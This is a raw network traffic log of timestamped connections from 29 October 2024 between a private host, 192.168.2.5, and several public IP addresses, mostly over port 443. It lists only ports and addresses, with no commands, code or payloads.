Oct 29, 2024 06:59:22.388211012 CET	443	49743	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:22.500380993 CET	49748	443	192.168.2.5	94.245.104.56
Oct 29, 2024 06:59:22.500403881 CET	443	49748	94.245.104.56	192.168.2.5
Oct 29, 2024 06:59:22.665575027 CET	49753	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.665613890 CET	443	49753	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:22.665752888 CET	49753	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.687191010 CET	49753	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.687216997 CET	443	49753	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:22.688621044 CET	49754	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.688640118 CET	443	49754	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:22.688723087 CET	49754	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.688919067 CET	49754	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.688930988 CET	443	49754	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:22.690211058 CET	49755	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.690231085 CET	443	49755	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:22.690299988 CET	49755	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.694389105 CET	49756	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.694427967 CET	443	49756	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:22.694535017 CET	49756	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.703592062 CET	49757	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.703655958 CET	443	49757	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:22.703737020 CET	49757	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.716447115 CET	49757	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.716485023 CET	443	49757	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:22.716824055 CET	49755	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.716841936 CET	443	49755	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:22.717091084 CET	49756	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.717109919 CET	443	49756	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.005300045 CET	80	49735	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:23.005381107 CET	49735	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:23.020612001 CET	49758	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:23.020649910 CET	443	49758	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:23.020819902 CET	49758	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:23.026079893 CET	49758	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:23.026098013 CET	443	49758	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:23.426279068 CET	443	49753	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.437557936 CET	443	49755	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.439363003 CET	443	49754	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.444034100 CET	443	49757	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.471873045 CET	443	49756	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.507872105 CET	49757	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.507899046 CET	49754	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.508057117 CET	49753	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.508057117 CET	49755	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.566437960 CET	443	49748	94.245.104.56	192.168.2.5
Oct 29, 2024 06:59:23.591273069 CET	49748	443	192.168.2.5	94.245.104.56
Oct 29, 2024 06:59:23.591291904 CET	443	49748	94.245.104.56	192.168.2.5
Oct 29, 2024 06:59:23.592545986 CET	443	49748	94.245.104.56	192.168.2.5
Oct 29, 2024 06:59:23.592626095 CET	49748	443	192.168.2.5	94.245.104.56
Oct 29, 2024 06:59:23.602710009 CET	49748	443	192.168.2.5	94.245.104.56
Oct 29, 2024 06:59:23.602794886 CET	443	49748	94.245.104.56	192.168.2.5
Oct 29, 2024 06:59:23.603025913 CET	49748	443	192.168.2.5	94.245.104.56
Oct 29, 2024 06:59:23.603035927 CET	443	49748	94.245.104.56	192.168.2.5
Oct 29, 2024 06:59:23.623867989 CET	49756	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.623888016 CET	443	49756	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.624573946 CET	49756	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.624581099 CET	443	49756	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.625055075 CET	49757	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.625081062 CET	443	49757	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.626377106 CET	49757	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.626405954 CET	443	49757	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.637204885 CET	49754	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.637212038 CET	443	49754	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.638474941 CET	49754	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.638482094 CET	443	49754	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.640619993 CET	49753	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.640640974 CET	443	49753	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.643817902 CET	49753	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.643824100 CET	443	49753	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.644460917 CET	49755	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.644473076 CET	443	49755	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.644850016 CET	49755	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.644854069 CET	443	49755	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.693873882 CET	49748	443	192.168.2.5	94.245.104.56
Oct 29, 2024 06:59:23.758327007 CET	443	49757	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.758373976 CET	443	49757	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.758451939 CET	49757	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.758558035 CET	443	49756	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.758625031 CET	443	49756	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.758694887 CET	49756	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.766762018 CET	443	49754	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.766916990 CET	443	49754	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.767107010 CET	49754	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.767971039 CET	443	49755	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.768110991 CET	443	49755	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.768181086 CET	49755	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.770040035 CET	443	49753	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.770179033 CET	443	49753	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.770247936 CET	49753	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.809592009 CET	49754	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.809593916 CET	49757	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.809612036 CET	443	49754	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.809613943 CET	443	49757	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.809649944 CET	49754	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.809658051 CET	443	49754	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.810717106 CET	49755	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.810731888 CET	443	49755	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.810736895 CET	49755	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.810744047 CET	443	49755	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.811367989 CET	49753	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.811374903 CET	443	49753	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.811386108 CET	49753	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.811391115 CET	443	49753	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.811862946 CET	49756	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.811880112 CET	443	49756	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.811903954 CET	49756	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.811914921 CET	443	49756	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.846321106 CET	443	49748	94.245.104.56	192.168.2.5
Oct 29, 2024 06:59:23.920352936 CET	49748	443	192.168.2.5	94.245.104.56
Oct 29, 2024 06:59:23.920442104 CET	443	49748	94.245.104.56	192.168.2.5
Oct 29, 2024 06:59:23.920511961 CET	49748	443	192.168.2.5	94.245.104.56
Oct 29, 2024 06:59:23.951678991 CET	49764	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.951698065 CET	443	49764	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.951766014 CET	49764	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.998842955 CET	49764	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.998856068 CET	443	49764	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.999265909 CET	49765	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.999353886 CET	443	49765	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:23.999439955 CET	49765	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.999646902 CET	49765	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:23.999679089 CET	443	49765	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:24.041805983 CET	49766	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:24.041815996 CET	443	49766	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:24.041896105 CET	49766	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:24.043123960 CET	49767	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:24.043153048 CET	443	49767	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:24.043236971 CET	49767	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:24.052380085 CET	49766	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:24.052390099 CET	443	49766	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:24.052968025 CET	49767	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:24.052985907 CET	443	49767	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:24.053788900 CET	49768	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:24.053807020 CET	443	49768	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:24.053858995 CET	49768	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:24.053976059 CET	49768	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:24.053980112 CET	443	49768	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:24.057547092 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:24.057570934 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:24.057816029 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:24.058065891 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:24.058082104 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:24.128832102 CET	443	49758	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:24.128900051 CET	49758	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:24.184824944 CET	49758	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:24.184880018 CET	443	49758	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:24.185759068 CET	443	49758	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:24.188523054 CET	49758	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:24.188623905 CET	49758	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:24.188687086 CET	443	49758	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:24.557641983 CET	443	49758	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:24.602744102 CET	49758	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:24.602758884 CET	443	49758	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:24.659883022 CET	443	49758	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:24.663360119 CET	49758	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:24.739135981 CET	443	49765	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:24.765583038 CET	443	49764	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:24.798348904 CET	443	49766	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:24.801635027 CET	443	49768	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:24.803875923 CET	443	49767	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:24.889151096 CET	49758	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:24.889169931 CET	443	49758	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:24.889183998 CET	49758	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:24.889192104 CET	443	49758	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:24.910902023 CET	49765	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:24.911303997 CET	49767	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:24.916763067 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:24.937402964 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:24.937418938 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:24.937947989 CET	49767	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:24.937984943 CET	443	49767	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:24.938571930 CET	49767	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:24.938587904 CET	443	49767	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:24.938932896 CET	49768	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:24.938992023 CET	443	49768	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:24.939034939 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:24.939069033 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:24.939130068 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:24.939140081 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:24.939207077 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:24.939207077 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:24.940352917 CET	49768	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:24.940359116 CET	443	49768	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:24.940875053 CET	49765	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:24.940888882 CET	443	49765	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:24.941296101 CET	49765	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:24.941307068 CET	443	49765	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:24.941684008 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:24.942279100 CET	49764	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:24.942296028 CET	443	49764	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:24.943548918 CET	49764	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:24.943555117 CET	443	49764	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:24.946981907 CET	49766	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:24.946993113 CET	443	49766	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:24.947422028 CET	49766	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:24.947427034 CET	443	49766	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:24.967462063 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:24.967675924 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:24.967686892 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.015327930 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.067389965 CET	443	49768	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.067467928 CET	443	49768	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.067537069 CET	49768	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.067634106 CET	443	49767	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.067780018 CET	443	49767	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.067828894 CET	49767	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.068618059 CET	443	49765	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.068661928 CET	443	49765	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.068728924 CET	49765	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.074582100 CET	443	49764	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.074650049 CET	443	49764	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.074708939 CET	49764	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.075356960 CET	443	49766	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.075597048 CET	49767	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.075597048 CET	49767	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.075632095 CET	443	49767	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.075658083 CET	443	49767	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.075872898 CET	49764	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.075890064 CET	443	49764	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.076163054 CET	443	49766	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.076212883 CET	49766	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.077986002 CET	49766	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.077986002 CET	49766	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.077994108 CET	443	49766	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.078003883 CET	443	49766	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.078546047 CET	49768	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.078546047 CET	49768	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.078567028 CET	443	49768	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.078577042 CET	443	49768	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.079298019 CET	49765	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.079332113 CET	443	49765	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.079371929 CET	49765	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.079385042 CET	443	49765	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.097023964 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.097037077 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.101394892 CET	49771	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.101418018 CET	443	49771	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.101488113 CET	49771	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.103348017 CET	49772	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.103388071 CET	443	49772	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.103452921 CET	49772	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.103807926 CET	49773	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.103900909 CET	443	49773	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.103991985 CET	49773	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.108309031 CET	49774	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.108335972 CET	443	49774	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.109575987 CET	49774	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.110102892 CET	49775	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.110157967 CET	443	49775	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.110246897 CET	49775	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.110814095 CET	49775	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.110852003 CET	443	49775	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.111021042 CET	49774	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.111042023 CET	443	49774	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.111351013 CET	49771	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.111366987 CET	443	49771	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.111809969 CET	49776	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:25.111824036 CET	443	49776	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:25.111888885 CET	49776	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:25.112803936 CET	49776	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:25.112811089 CET	443	49776	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:25.117499113 CET	49772	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.117522955 CET	443	49772	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.117897034 CET	49773	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.117924929 CET	443	49773	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.213151932 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.213637114 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.213654995 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.217179060 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.217406988 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.217416048 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.224492073 CET	49786	443	192.168.2.5	18.244.18.27
Oct 29, 2024 06:59:25.224502087 CET	443	49786	18.244.18.27	192.168.2.5
Oct 29, 2024 06:59:25.224555016 CET	49786	443	192.168.2.5	18.244.18.27
Oct 29, 2024 06:59:25.224854946 CET	49786	443	192.168.2.5	18.244.18.27
Oct 29, 2024 06:59:25.224867105 CET	443	49786	18.244.18.27	192.168.2.5
Oct 29, 2024 06:59:25.225948095 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.226078987 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.226092100 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.227735996 CET	49788	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:25.227756977 CET	443	49788	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:25.227819920 CET	49788	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:25.232146025 CET	49788	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:25.232162952 CET	443	49788	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:25.234750986 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.234829903 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.234843016 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.243606091 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.243678093 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.243710041 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.252470016 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.252546072 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.252564907 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.261555910 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.261687994 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.261702061 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.305330992 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.305345058 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.333457947 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.333540916 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.333579063 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.333595037 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.333659887 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.337833881 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.346632004 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.346689939 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.346704960 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.355511904 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.355588913 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.355590105 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.355618000 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.355680943 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.364106894 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.373078108 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.373163939 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.373163939 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.373188972 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.374315023 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.381927013 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.390644073 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.390743017 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.390786886 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.390803099 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.390873909 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.399380922 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.408348083 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.408416033 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.408427000 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.408449888 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.410012007 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.416372061 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.423959970 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.424019098 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.424034119 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.431936979 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.432018995 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.432024002 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.432043076 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.432123899 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.439363956 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.446871042 CET	443	49769	142.250.185.193	192.168.2.5
